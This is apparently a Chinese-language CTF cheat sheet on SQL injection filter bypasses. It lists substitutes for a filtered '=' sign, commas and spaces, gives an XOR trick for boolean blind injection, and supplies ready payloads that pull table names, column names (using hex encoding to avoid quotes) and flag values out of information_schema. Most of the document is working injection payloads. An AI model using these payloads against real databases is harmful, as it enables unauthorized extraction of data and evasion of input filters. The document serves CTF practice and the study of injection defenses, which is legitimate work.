目录:
还在补充中:…
一、过滤关键词:
1. 过滤 =
可用 like
,regexp
,in
来代替:
=
被过滤了,可以用 like
来代替。
如果=
和like
被过滤了,也可以用regexp
或者 in
来代替,后面都有,
注意:尽量不要用regepx来做,后面有解释,用 in like是可以的。这个 和 = 的效果是一样的。regexp是正则,如果ord是100的化,你regexp(1)也会是成功的。。。当然除非我们使用regexp的正则规定,算了没找到,就不要用regexp了吧。
能用
尽量不要用regep
2. 过滤ascii
,不能用bool盲注了。可用ord
来代替:
3. ,
逗号被过滤了:
1. substr(***,1,1)
用这个来代替:substr(***from({})for(1))
-
substr(***,1,1)
,用substr(***from({})for(1))
。来代替。
from是从1开始的。for总是1。
2.limit 0,1
用这个来代替:limit 1 offset {}
这个测试过滤,不能够用括号来代替空格。。。
二、一些小trick
1. 关于bool盲注的正确与否
如果1^0
这样的,错误的时候有回显,正确的时候没有回显,那么我们完全可以再加一个抑或啊,像这样:1^0^1
。这样,就能够达到我们一一对应的目的了
三、一些payload:
1. 过滤了 空格,但是可以联合查询的bool注入:
这个稍微有点鸡肋,不过还好,用了 group_concat
因为这样 以来select
就不用 limit 这样了,就不需要使用 空格
了。
关于ord
,in regex
什么的可以看上面
查找库名的:1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)in(database()))from({})for(1)))>{})^1
这个放到 pad++中好好看看括号什么的。?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from(1)for(1)))>(1))^1
查找 表名的1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))in({}))^1
爆列明: 这个过滤了单引号 ,,用16进制绕过,为 falg字段的16进制。1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))in({}))^1
爆flag:1^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))in({}))^1